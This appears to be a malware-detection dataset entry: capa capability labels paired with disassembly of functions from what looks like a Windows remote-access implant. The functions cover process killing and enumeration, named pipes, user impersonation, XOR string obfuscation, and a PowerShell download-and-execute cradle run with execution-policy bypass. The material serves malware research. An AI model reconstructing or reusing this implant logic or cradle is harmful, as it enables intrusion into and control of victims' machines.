joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007453
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, dword [0x1003b2cc]
push edi
xor edi, edi
test esi, esi
je 0x100074d9
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [esi + 4]
test eax, eax
jne 0x10007479
cmp dword [esi + 0xc], eax
jne 0x10007484
call ebx
mov dword [esi + 0xc], eax
mov edi, esi
mov esi, dword [esi + 0x20]
test esi, esi
jne 0x10007468
jmp 0x100074d8
test eax, eax
jne 0x10007479
call ebx
sub eax, dword [esi + 0xc]
cmp eax, 0x3e8
jbe 0x10007479
cmp dword [esi + 0x10], 0
jne 0x100074a5
push 2
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [esi + 0x1c]
call sub.WS2_32.dll_closesocket
test eax, eax
je 0x100074b7
cmp dword [esi + 0x10], 2
je 0x10007479
mov eax, dword [esi + 0x20]
push esi
test edi, edi
je 0x100074cd
mov dword [edi + 0x20], eax
call fcn.10014a0c
mov esi, dword [edi + 0x20]
pop ecx
jmp 0x1000747e
mov dword [0x1003b2cc], eax
call fcn.10014a0c
pop ecx
pop ebx
pop edi
pop esi
ret

Function at 0x100074dc
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
push esi
mov esi, dword [0x1003b2cc]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp dword [0x1003b690], ebx
jne 0x100075a9
push 0x100000
call fcn.10014ae9
pop ecx
mov dword [0x1003b690], eax
jmp 0x100075a9
cmp dword [esi + 4], 1
jne 0x100075a6
push dword [esi]
call sub.WS2_32.dll_htonl
mov ecx, dword [0x1003b690]
mov dword [ecx], eax
lea eax, [ebp - 4]
push eax
push 0x4004667f
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp dword [ebp - 4], 0xffffc
jbe 0x1000754d
mov dword [ebp - 4], 0xffffc
cmp eax, 0xffffffff
je 0x10007571
cmp dword [ebp - 4], ebx
jbe 0x100075a6
push dword [ebp - 4]
mov eax, dword [0x1003b690]
push dword [esi + 0x1c]
add eax, 4
call fcn.10006e28
pop ecx
pop ecx
cmp eax, 0xffffffff
jne 0x10007588
push 4
push 4
push dword [0x1003b690]
mov dword [esi + 4], ebx
call fcn.10001d50
add esp, 0xc
jmp 0x100075a6
mov ecx, dword [ebp - 4]
cmp eax, ecx
jne 0x100075a6
push 5
add ecx, 4
push ecx
push dword [0x1003b690]
call fcn.10001d50
add esp, 0xc
inc dword [ebp - 8]
mov esi, dword [esi + 0x20]
cmp esi, ebx
jne 0x10007512
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret
Function at 0x1000776a
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push ebx
push esi
push edi
push 0x20000
call fcn.10006cdf
mov edx, eax
mov ebx, 0x8000
pop ecx
mov esi, ebx
mov dword [ebp - 0x14], edx
call fcn.10006d81
mov dword [ebp - 0xc], eax
call fcn.10006d81
mov esi, 0x10000
mov dword [ebp - 4], eax
call fcn.10006d81
cmp dword [ebp + 0xc], 0x2aaa
mov dword [ebp - 8], eax
jle 0x100077c7
push dword [ebp + 0xc]
push str.Command_length___d__too_long
call fcn.10001d95
pop ecx
pop ecx
jmp 0x10007942
push 0x44
pop edi
push edi
xor esi, esi
lea eax, [ebp - 0x80]
push esi
push eax
call fcn.10018150
mov dword [ebp - 0x80], edi
xor eax, eax
lea edi, [ebp - 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x100000
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], 0xc
mov dword [ebp - 0x20], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov word [ebp - 0x50], ax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x54], 0x101
mov dword [ebp - 0x48], esi
mov byte [eax + ecx], 0
cmp dword [0x1003b698], esi
je 0x10007895
call fcn.10014e67
cdq
mov ecx, 0xea60
idiv ecx
mov edi, dword [0x1003b698]
mov eax, edi
lea ecx, [eax + 1]
add edx, 0x800
movzx esi, dx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10007864
sub eax, ecx
push eax
push edi
push esi
call fcn.100099bc
mov edi, dword [ebp - 4]
add esp, 0xc
push dword [ebp + 8]
movzx eax, si
push eax
push str.IEX__New_Object_Net.Webclient_.DownloadString_http:__127.0.0.1:_u_____s
push ebx
push edi
call fcn.10014bb3
add esp, 0x14
xor esi, esi
jmp 0x100078aa
push eax
push 0x1002b564
push ebx
push dword [ebp - 4]
call fcn.10014bb3
mov edi, dword [ebp - 4]
add esp, 0x10
push ebx
push edi
push dword [ebp - 8]
call fcn.100155df
add esp, 0xc
lea ecx, [ebp + 0xc]
push ecx
add eax, eax
push edi
push eax
mov eax, dword [ebp - 8]
mov dword [ebp + 0xc], ebx
call fcn.10009c36
mov eax, dword [ebp + 0xc]
add esp, 0xc
push edi
push str.powershell__nop__exec_bypass__EncodedCommand___s_
push ebx
push dword [ebp - 0xc]
mov byte [eax + edi], 0
call fcn.10014bb3
lea eax, [ebp - 0x18]
push eax
call fcn.10005287
add esp, 0x14
push esi
push 0x10
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0xc]
lea ecx, [ebp - 0x80]
call fcn.100036c8
push dword [ebp - 0x18]
mov edi, eax
call fcn.100052ac
add esp, 0x14
cmp edi, esi
je 0x1000793a
push 0x2710
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x10]
lea esi, [ebp - 0x38]
push dword [ebp - 0x1c]
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10005e67
add esp, 0x18
mov esi, dword [ebp - 0x14]
call fcn.10006d21
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100080c3
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0x14], 0
push esi
push edi
push dword [ebp + 8]
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
call fcn.10006d33
pop ecx
mov esi, eax
call fcn.10006d44
mov edi, eax
push edi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1000810a
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1000811f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.Could_not_kill__d:__d_n
call fcn.10001d95
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret
Function at 0x10008192
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x95c
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x7ff
lea eax, [ebp - 0x807]
push 0
push eax
mov byte [ebp - 0x808], 0
call fcn.10018150
mov ecx, dword [ebp + 8]
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x958]
call fcn.10006d33
pop ecx
mov esi, eax
call fcn.10006d44
mov edi, 0x8000
lea esi, [ebp - 0x958]
mov dword [ebp - 0x934], eax
call fcn.10001a30
cmp dword [ebp - 0x934], 0
jle 0x10008209
push dword [ebp - 0x934]
call fcn.10001a4f
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call esi
push eax
call fcn.10004abb
pop ecx
test eax, eax
je 0x10008228
mov dword [ebp - 0x938], 0x1002c24c
jmp 0x10008245
call fcn.1000bd8f
mov dword [ebp - 0x938], 0x1002c24c
test eax, eax
jne 0x10008245
mov dword [ebp - 0x938], 0x1002c250
lea eax, [ebp - 0x944]
push eax
push 0x28
call esi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10008275
push dword [ebp - 0x944]
call fcn.10004712
pop ecx
push dword [ebp - 0x944]
call ebx
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [ebp - 0x940], esi
cmp esi, 0xffffffff
je 0x100083e2
lea eax, [ebp - 0x930]
push eax
push esi
mov dword [ebp - 0x930], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x100082b2
push esi
call ebx
jmp 0x100083e2
push dword [ebp - 0x928]
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x93c], eax
test eax, eax
jne 0x100082fa
push dword [ebp - 0x928]
lea eax, [ebp - 0x90c]
push dword [ebp - 0x918]
lea esi, [ebp - 0x958]
push eax
push str._s_t_d_t_d_n
call fcn.10001aa2
add esp, 0x10
jmp 0x1000837e
push eax
lea edi, [ebp - 0x808]
call fcn.1000812a
pop ecx
test eax, eax
jne 0x10008311
mov byte [ebp - 0x808], al
lea eax, [ebp - 0x948]
push eax
push dword [ebp - 0x928]
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
jne 0x1000832f
or dword [ebp - 0x948], 0xffffffff
push dword [ebp - 0x93c]
call fcn.10004abb
test eax, eax
pop ecx
mov eax, 0x1002c250
jne 0x1000834a
mov eax, dword [ebp - 0x938]
push dword [ebp - 0x948]
lea ecx, [ebp - 0x808]
push ecx
push eax
push dword [ebp - 0x928]
lea eax, [ebp - 0x90c]
push dword [ebp - 0x918]
lea esi, [ebp - 0x958]
push eax
push str._s_t_d_t_d_t_s_t_s_t_d_n
call fcn.10001aa2
add esp, 0x1c
push dword [ebp - 0x93c]
call ebx
lea eax, [ebp - 0x930]
push eax
push dword [ebp - 0x940]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100082b2
push dword [ebp - 0x940]
call ebx
cmp dword [ebp - 0x934], 0
lea eax, [ebp - 0x958]
jne 0x100083bb
push 0x11
jmp 0x100083bd
push 0x16
call fcn.10001af8
push eax
lea eax, [ebp - 0x958]
call fcn.10001af5
push eax
call fcn.10001d50
add esp, 0xc
lea eax, [ebp - 0x958]
call fcn.10001adc
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100149fd
leave
ret
Function at 0x1000842e
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, 0x8000
push ebx
call fcn.10014ae9
push dword [ebp + 8]
mov edi, eax
push str._s
push ebx
push edi
call fcn.10014bb3
mov esi, dword [ebp + 0xc]
add esp, 0x14
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push edi
mov dword [ebp - 4], eax
call fcn.10014a0c
cmp dword [ebp - 4], 0xffffffff
pop ecx
je 0x100084ed
test byte [esi], 0x10
lea eax, [esi + 0x2c]
je 0x100084f2
push 2
mov edi, 0x1002c27c
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x100084d3
mov esi, eax
push 3
mov edi, 0x1002c280
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x100084d3
push ebx
call fcn.10014ae9
mov esi, dword [ebp + 0xc]
add esi, 0x2c
push esi
push 0x1002b564
mov edi, eax
push ebx
push edi
call fcn.10014bb3
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.100083f1
push 1
push edi
push dword [ebp + 8]
call dword [ebp + 0x10]
push edi
call fcn.10014a0c
add esp, 0x34
mov esi, dword [ebp + 0xc]
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000846f
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
push 0
push eax
push dword [ebp + 8]
call dword [ebp + 0x10]
add esp, 0xc
jmp 0x100084d6
Function at 0x10008e99
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
mov esi, 0x100
push esi
call fcn.10014ae9
push esi
push 0
push eax
mov dword [0x1003e704], eax
call fcn.10018150
add esp, 0x10
xor eax, eax
xor byte [eax + str.ihihikiiikihiki9ijikimii], 0x69
inc eax
cmp eax, 0x1000
jl 0x10008ec3
push 0x1000
mov ecx, str.ihihikiiikihiki9ijikimii
lea eax, [esp + 0x14]
call fcn.10006d33
pop ecx
jmp 0x10008f75
lea esi, [esp + 0x10]
call fcn.10006d60
movzx ebx, ax
call fcn.10006d60
movsx edi, di
movzx ecx, ax
mov eax, dword [0x1003e704]
shl edi, 3
mov dword [esp + 0xc], edi
add edi, eax
movsx eax, bx
dec eax
mov word [edi], bx
je 0x10008f5d
dec eax
je 0x10008f44
dec eax
jne 0x10008f75
movsx esi, cx
push esi
call fcn.10014ae9
pop ecx
push esi
lea edx, [esp + 0x14]
mov dword [edi + 4], eax
call fcn.10006d81
push eax
push dword [edi + 4]
call fcn.10016510
add esp, 0xc
jmp 0x10008f75
lea esi, [esp + 0x10]
call fcn.10006d44
mov ecx, dword [0x1003e704]
mov edx, dword [esp + 0xc]
mov dword [edx + ecx + 4], eax
jmp 0x10008f75
lea esi, [esp + 0x10]
call fcn.10006d60
mov ecx, dword [0x1003e704]
mov edx, dword [esp + 0xc]
mov word [edx + ecx + 4], ax
lea esi, [esp + 0x10]
call fcn.10006d60
movzx edi, ax
test di, di
jg 0x10008eeb
push 0x1000
push 0
push str.ihihikiiikihiki9ijikimii
call fcn.10018150
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008fa5
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x403]
push ebx
push eax
mov byte [ebp - 0x404], bl
call fcn.10018150
xor eax, eax
mov dword [ebp - 0x410], ebx
lea edi, [ebp - 0x40c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov byte [ebp - 0x428], bl
lea edi, [ebp - 0x427]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
add esp, 0xc
xor edi, edi
inc edi
push edi
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push ebx
push ebx
push edi
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
lea eax, [ebp - 0x428]
mov dword [ebp - 0x40c], eax
lea eax, [ebp - 0x404]
push eax
push 0x1002c27c
mov dword [ebp - 0x410], 0xc
mov dword [ebp - 0x408], edi
call fcn.10006567
pop ecx
pop ecx
lea eax, [ebp - 0x410]
push eax
push ebx
mov esi, 0x100000
push esi
push esi
push 0xff
push 6
push 3
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [ebp - 0x414], eax
cmp eax, 0xffffffff
jne 0x10009093
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.could_not_create_pipe:__d
call fcn.10001d95
pop ecx
xor eax, eax
jmp 0x100090bb
push esi
call fcn.10014ae9
mov dword [0x1003b6a4], eax
mov eax, dword [ebp - 0x414]
mov dword [0x10030020], eax
mov dword [0x1003b6a8], ebx
mov dword [0x100312b4], 2
mov eax, edi
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100149fd
leave
ret

Function at 0x1000910d
Capabilities:
Connect pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1003eb28]
push dword [0x1003e724]
mov dword [ebp - 0x40c], eax
lea eax, [ebp - 0x408]
push 0x1003e728
push eax
call fcn.10016510
add esp, 0xc
push 0
push dword [0x10030020]
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x10009169
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 0x217
neg eax
sbb eax, eax
inc eax
je 0x10009145
mov eax, dword [0x1003e724]
add eax, 4
push eax
lea eax, [ebp - 0x40c]
push eax
push dword [0x10030020]
call fcn.10006632
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0xc
call fcn.100149fd
leave
ret
Function at 0x100096c7
Capabilities:
Impersonate user

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
call fcn.10009386
push 0x1003b6b0
push 3
push 9
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call dword [sym.imp.ADVAPI32.dll_LogonUserA]
test eax, eax
jne 0x10009701
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Could_not_create_token:__d
call fcn.10001d95
pop ecx
pop ecx
jmp 0x1000974d
push dword [0x1003b6b0]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x1000971f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_impersonate_token:__d
jmp 0x100096f8
push 0x400
push dword [0x1003b6b0]
call fcn.100093a3
pop ecx
pop ecx
test eax, eax
je 0x1000974d
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000973a
sub eax, ecx
push 0xf
push eax
push edi
call dword [ebp + 0x10]
add esp, 0xc
pop edi
pop ebp
ret

Function at 0x100097e6
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], bl
mov byte [ebp - 8], bl
mov byte [ebp - 7], 5
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x1000984e
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x10009845
mov dword [ebp - 0x10], ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
xor ecx, ebp
pop ebx
call fcn.100149fd
leave
ret

Function at 0x100098a6
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
push 0
push 1
lea eax, [esi + edi]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x100098e3
test eax, eax
jbe 0x100098e3
add esi, eax
cmp esi, 2
jb 0x100098db
cmp byte [esi + edi - 1], 0xa
jne 0x100098db
cmp byte [esi + edi - 2], 0xd
je 0x100098e9
cmp esi, 0x800
jb 0x100098ac
or eax, 0xffffffff
pop esi
pop ebp
ret
mov byte [esi + edi - 2], 0
mov eax, esi
jmp 0x100098e6
Function at 0x100099bc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10002485
xor ebx, ebx
push ebx
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x100099f9
push edi
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x10009a59
push 2
pop eax
push dword [ebp + 8]
mov word [ebp - 0x18], ax
call sub.WS2_32.dll_htons
push str.127.0.0.1
mov word [ebp - 0x16], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x14], eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, edi
jne 0x10009a2e
push esi
jmp 0x100099f0
push 0x78
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, edi
je 0x10009a2b
push dword [ebp - 0x1c]
mov edi, dword [ebp + 0x10]
push esi
call fcn.1000985e
pop ecx
pop ecx
push ebx
push ebx
push eax
push 0x100098f2
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100149fd
leave
ret
Function at 0x10009c36
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, eax
xor edx, edx
push 3
lea eax, [edi + 2]
pop ebx
div ebx
mov ecx, dword [ebp + 0x10]
shl eax, 2
inc eax
cmp dword [ecx], eax
jae 0x10009c60
push 6
mov dword [ecx], eax
pop eax
jmp 0x10009d42
xor edx, edx
push 3
mov eax, edi
pop ebx
div ebx
mov ecx, dword [ebp + 0xc]
xor edx, edx
imul eax, eax, 3
test eax, eax
jbe 0x10009cdf
dec eax
push ebx
pop edi
div edi
mov edi, eax
inc edi
mov edx, edi
imul edx, edx, 3
movzx eax, byte [esi]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
movzx eax, byte [esi + 1]
movzx ebx, byte [esi]
shr eax, 4
shl ebx, 4
add eax, ebx
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
movzx eax, byte [esi + 2]
movzx ebx, byte [esi + 1]
shr eax, 6
lea eax, [eax + ebx*4]
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
movzx eax, byte [esi + 2]
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
inc ecx
add esi, 3
dec edi
jne 0x10009c82
mov edi, dword [ebp + 8]
cmp edx, edi
jae 0x10009d35
movzx eax, byte [esi]
inc edx
cmp edx, edi
jae 0x10009cf1
movzx esi, byte [esi + 1]
jmp 0x10009cf3
xor esi, esi
mov ebx, eax
shr ebx, 2
and ebx, 0x3f
mov bl, byte [ebx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], bl
shl eax, 4
mov ebx, esi
shr ebx, 4
add ebx, eax
and ebx, 0x3f
mov al, byte [ebx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
inc ecx
cmp edx, edi
jae 0x10009d2b
and esi, 0xf
movsx eax, byte [esi*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
jmp 0x10009d2e
push 0x3d
pop eax
mov byte [ecx], al
inc ecx
mov byte [ecx], 0x3d
inc ecx
mov eax, dword [ebp + 0x10]
mov byte [ecx], 0
sub ecx, dword [ebp + 0xc]
mov dword [eax], ecx
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x1000b5b7
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [eax + 0x28], ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], 0x6a09e667
mov dword [eax + 0xc], 0xbb67ae85
mov dword [eax + 0x10], 0x3c6ef372
mov dword [eax + 0x14], 0xa54ff53a
mov dword [eax + 0x18], 0x510e527f
mov dword [eax + 0x1c], 0x9b05688c
mov dword [eax + 0x20], 0x1f83d9ab
mov dword [eax + 0x24], 0x5be0cd19
xor eax, eax
pop ebp
ret

Function at 0x1000b7fc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [0x10037d70]
mov ebx, eax
push edi
mov eax, esi
call fcn.1000c5ac
test eax, eax
jne 0x1000b8fe
mov ecx, dword [0x10037d74]
cmp ecx, 1
jl 0x1000b8fb
cmp ecx, 0x80
jg 0x1000b8fb
mov eax, dword [ebp + 0xc]
xor edx, edx
div ecx
test edx, edx
jne 0x1000b8fb
test cl, 3
jne 0x1000b8fb
mov edx, esi
imul edx, edx, 0x60
mov edx, dword [edx + 0x1003b6f0]
test edx, edx
je 0x1000b874
push 0x10037df8
push 0x10037d78
push eax
push ebx
push dword [ebp + 8]
call edx
add esp, 0x14
jmp 0x1000b8fe
cmp dword [ebp + 0xc], 0
je 0x1000b8f7
mov edi, 0x10037d78
jmp 0x1000b887
mov esi, dword [0x10037d70]
xor edx, edx
test ecx, ecx
jle 0x1000b8ae
mov ecx, dword [ebp + 8]
sub ecx, edi
lea eax, [edx + 0x10037d78]
mov esi, dword [ecx + eax]
xor dword [eax], esi
add edx, 4
cmp edx, dword [0x10037d74]
jl 0x1000b892
mov esi, dword [0x10037d70]
imul esi, esi, 0x60
push 0x10037df8
push ebx
push edi
call dword [esi + 0x1003b6d4]
add esp, 0xc
test eax, eax
jne 0x1000b8fe
mov ecx, dword [0x10037d74]
xor edx, edx
test ecx, ecx
jle 0x1000b8ed
mov esi, ebx
sub esi, edi
lea eax, [edx + 0x10037d78]
mov ecx, dword [esi + eax]
mov dword [eax], ecx
mov ecx, dword [0x10037d74]
add edx, 4
cmp edx, ecx
jl 0x1000b8d5
add dword [ebp + 8], ecx
add ebx, ecx
sub dword [ebp + 0xc], ecx
jne 0x1000b881
xor eax, eax
jmp 0x1000b8fe
push 0x10
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x1000bc3d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [0x10038e98]
push edi
mov ebx, ecx
mov edi, edx
mov eax, esi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], edi
call fcn.1000c5ac
test eax, eax
jne 0x1000bd4a
mov ecx, dword [0x10038e9c]
cmp ecx, 1
jl 0x1000bd47
cmp ecx, 0x80
jg 0x1000bd47
mov eax, dword [ebp + 8]
xor edx, edx
div ecx
test edx, edx
jne 0x1000bd47
test cl, 3
jne 0x1000bd47
mov ecx, esi
imul ecx, ecx, 0x60
mov ecx, dword [ecx + 0x1003b6f4]
test ecx, ecx
je 0x1000bcc8
push 0x10038f20
push 0x10038ea0
push eax
push edi
push ebx
call ecx
add esp, 0x14
jmp 0x1000bd4a
cmp dword [ebp + 8], 0
je 0x1000bd43
jmp 0x1000bcd6
mov esi, dword [0x10038e98]
imul esi, esi, 0x60
push 0x10038f20
lea eax, [ebp - 0x14]
push eax
push ebx
call dword [esi + 0x1003b6d8]
add esp, 0xc
test eax, eax
jne 0x1000bd4a
mov eax, dword [0x10038e9c]
xor edi, edi
test eax, eax
jle 0x1000bd33
mov ecx, dword [ebp - 0x18]
lea esi, [ebp - 0x14]
mov eax, 0x10038ea0
sub esi, ebx
sub ebx, eax
sub ecx, eax
mov dword [ebp - 0x20], ecx
lea eax, [edi + 0x10038ea0]
lea edx, [ebx + eax]
mov ecx, dword [esi + edx]
xor ecx, dword [eax]
mov edx, dword [edx]
mov dword [eax], edx
mov edx, dword [ebp - 0x20]
mov dword [edx + eax], ecx
mov eax, dword [0x10038e9c]
add edi, 4
cmp edi, eax
jl 0x1000bd0f
mov ebx, dword [ebp - 0x1c]
add dword [ebp - 0x18], eax
add ebx, eax
sub dword [ebp + 8], eax
mov dword [ebp - 0x1c], ebx
jne 0x1000bcd0
xor eax, eax
jmp 0x1000bd4a
push 0x10
pop eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100149fd
leave
ret